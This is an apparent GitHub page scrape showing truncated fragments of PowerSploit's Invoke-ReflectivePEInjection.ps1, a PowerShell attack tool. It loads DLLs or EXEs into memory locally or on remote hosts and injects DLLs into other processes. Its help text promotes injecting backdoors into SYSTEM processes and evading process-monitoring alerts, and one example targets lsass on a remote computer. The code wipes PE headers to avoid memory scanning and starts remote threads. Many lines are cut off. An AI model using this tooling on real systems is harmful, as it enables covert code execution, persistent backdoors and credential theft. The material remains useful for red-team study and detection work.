Sign in

This repository has been archived by the owner on Jan 21, 2021. It is now read-only.

PowerShellMafia / **PowerSploit** Public archive

Notifications · Fork 4.6k · Star 11.9k

Code · Issues 67 · Pull requests 37 · Actions · Projects · Security · Insights

PowerSploit / CodeExecution / **Invoke-ReflectivePEInjection.ps1**

2884 lines (2429 loc) · 148 KB

Code · Blame · Raw

```
function Invoke-ReflectivePEInjection
{
<#
.SYNOPSIS

This script has two modes. It can reflectively load a DLL/EXE in to the PowerShell process,
or it can reflectively load a DLL in to a remote process. These modes have different parameters and
please lead the Notes section (GENERAL NOTES) for information on how to use them.

1.)Reflectively loads a DLL or EXE in to memory of the Powershell process.
Because the DLL/EXE is loaded reflectively, it is not displayed when tools are used to list the DLL

This tool can be run on remote servers by supplying a local Windows PE file (DLL/EXE) to load in to
this will load and execute the DLL/EXE in to memory without writing any files to disk.

2.) Reflectively load a DLL in to memory of a remote process.
As mentioned above, the DLL being reflectively loaded won't be displayed when tools are used to lis

This is probably most useful for injecting backdoors in SYSTEM processes in Session0. Currently, yo
from the DLL. The script doesn't wait for the DLL to complete execution, and doesn't make any effor
remote process.

PowerSploit Function: Invoke-ReflectivePEInjection
Author: Joe Bialek, Twitter: @JosephBialek
```

```
Code review and modifications: Matt Graeber, Twitter: @mattifestation
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None

.DESCRIPTION

Reflectively loads a Windows PE file (DLL/EXE) in to the powershell process, or reflectively inject

.PARAMETER PEBytes

A byte array containing a DLL/EXE to load and execute.

.PARAMETER ComputerName

Optional, an array of computernames to run the script on.

.PARAMETER FuncReturnType

Optional, the return type of the function being called in the DLL. Default: Void
    Options: String, WString, Void. See notes for more information.
    IMPORTANT: For DLLs being loaded remotely, only Void is supported.

.PARAMETER ExeArgs

Optional, arguments to pass to the executable being reflectively loaded.

.PARAMETER ProcName

Optional, the name of the remote process to inject the DLL in to. If not injecting in to remote pro

.PARAMETER ProcId

Optional, the process ID of the remote process to inject the DLL in to. If not injecting in to remo

.PARAMETER ForceASLR

Optional, will force the use of ASLR on the PE being loaded even if the PE indicates it doesn't sup
    if the compiler flags don't indicate they support it. Other PE's will simply crash. Make sure t
    loading in to a remote process.

.PARAMETER DoNotZeroMZ

Optional, will not wipe the MZ from the first two bytes of the PE. This is to be used primarily for

.EXAMPLE
```

```

Load DemoDLL and run the exported function WStringFunc on Target.local, print the wchar_t* returned
$PEBytes = [IO.File]::ReadAllBytes('DemoDLL.dll')
Invoke-ReflectivePEInjection -PEBytes $PEBytes -FuncReturnType WString -ComputerName Target.local

.EXAMPLE

Load DemoDLL and run the exported function WStringFunc on all computers in the file targetlist.txt.
    the wchar_t* returned by WStringFunc() from all the computers.
$PEBytes = [IO.File]::ReadAllBytes('DemoDLL.dll')
Invoke-ReflectivePEInjection -PEBytes $PEBytes -FuncReturnType WString -ComputerName (Get-Content t

.EXAMPLE

Load DemoEXE and run it locally.
$PEBytes = [IO.File]::ReadAllBytes('DemoEXE.exe')
Invoke-ReflectivePEInjection -PEBytes $PEBytes -ExeArgs "Arg1 Arg2 Arg3 Arg4"

.EXAMPLE

Load DemoEXE and run it locally. Forces ASLR on for the EXE.
$PEBytes = [IO.File]::ReadAllBytes('DemoEXE.exe')
Invoke-ReflectivePEInjection -PEBytes $PEBytes -ExeArgs "Arg1 Arg2 Arg3 Arg4" -ForceASLR

.EXAMPLE

Refectively load DemoDLL_RemoteProcess.dll in to the lsass process on a remote computer.
$PEBytes = [IO.File]::ReadAllBytes('DemoDLL_RemoteProcess.dll')
Invoke-ReflectivePEInjection -PEBytes $PEBytes -ProcName lsass -ComputerName Target.Local

.NOTES
GENERAL NOTES:
The script has 3 basic sets of functionality:
1.) Reflectively load a DLL in to the PowerShell process
    -Can return DLL output to user when run remotely or locally.
    -Cleans up memory in the PS process once the DLL finishes executing.
    -Great for running pentest tools on remote computers without triggering process monitoring aler
    -By default, takes 3 function names, see below (DLL LOADING NOTES) for more info.
2.) Reflectively load an EXE in to the PowerShell process.
    -Can NOT return EXE output to user when run remotely. If remote output is needed, you must use
    -Cleans up memory in the PS process once the DLL finishes executing.
    -Great for running existing pentest tools which are EXE's without triggering process monitoring
3.) Reflectively inject a DLL in to a remote process.
    -Can NOT return DLL output to the user when run remotely OR locally.
    -Does NOT clean up memory in the remote process if/when DLL finishes execution.
    -Great for planting backdoor on a system by injecting backdoor DLL in to another processes memo
```

```
        -Expects the DLL to have this function: void VoidFunc(). This is the function that will be call
```

```

                #Create the remote thread, don't wait for it to return.. This will probably mainly be u
                $Null = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $VoidFuncAdd
            }

            #Don't free a library if it is injected in a remote process or if it is an EXE.
            #Note that all DLL's loaded by the EXE will remain loaded in memory.
            if ($RemoteProcHandle -eq [IntPtr]::Zero -and $PEInfo.FileType -ieq "DLL")
```

```
            {
                Invoke-MemoryFreeLibrary -PEHandle $PEHandle
            }
            else
            {
                #Delete the PE file from memory.
                $Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM
                if ($Success -eq $false)
                {
                    Write-Warning "Unable to call VirtualFree on the PE's memory. Continuing anyways."
                }
            }

            Write-Verbose "Done!"
        }

        Main
    }

#Main function to either run the script locally or remotely
Function Main
{
    if (($PSCmdlet.MyInvocation.BoundParameters["Debug"] -ne $null) -and $PSCmdlet.MyInvocation.Bou
    {
        $DebugPreference  = "Continue"
    }

    Write-Verbose "PowerShell ProcessID: $PID"

    #Verify the image is a valid PE file
    $e_magic = ($PEBytes[0..1] | ForEach-Object {[Char] $_}) -join ''

    if ($e_magic -ne 'MZ')
    {
        throw 'PE is not a valid PE file.'
    }

    if (-not $DoNotZeroMZ) {
        # Remove 'MZ' from the PE file so that it cannot be detected by .imgscan in WinDbg
        # TODO: Investigate how much of the header can be destroyed, I'd imagine most of it can be.
        $PEBytes[0] = 0
        $PEBytes[1] = 0
    }

    #Add a "program name" to exeargs, just so the string looks as normal as possible (real args sta
    if ($ExeArgs -ne $null -and $ExeArgs -ne '')
```

```
        {
            $ExeArgs = "ReflectiveExe $ExeArgs"
        }
        else
        {
            $ExeArgs = "ReflectiveExe"
        }

        if ($ComputerName -eq $null -or $ComputerName -imatch "^\s*$")
        {
            Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes, $FuncReturnType, $
        }
        else
        {
            Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes, $FuncReturnType, $
        }
    }

    Main
    }
```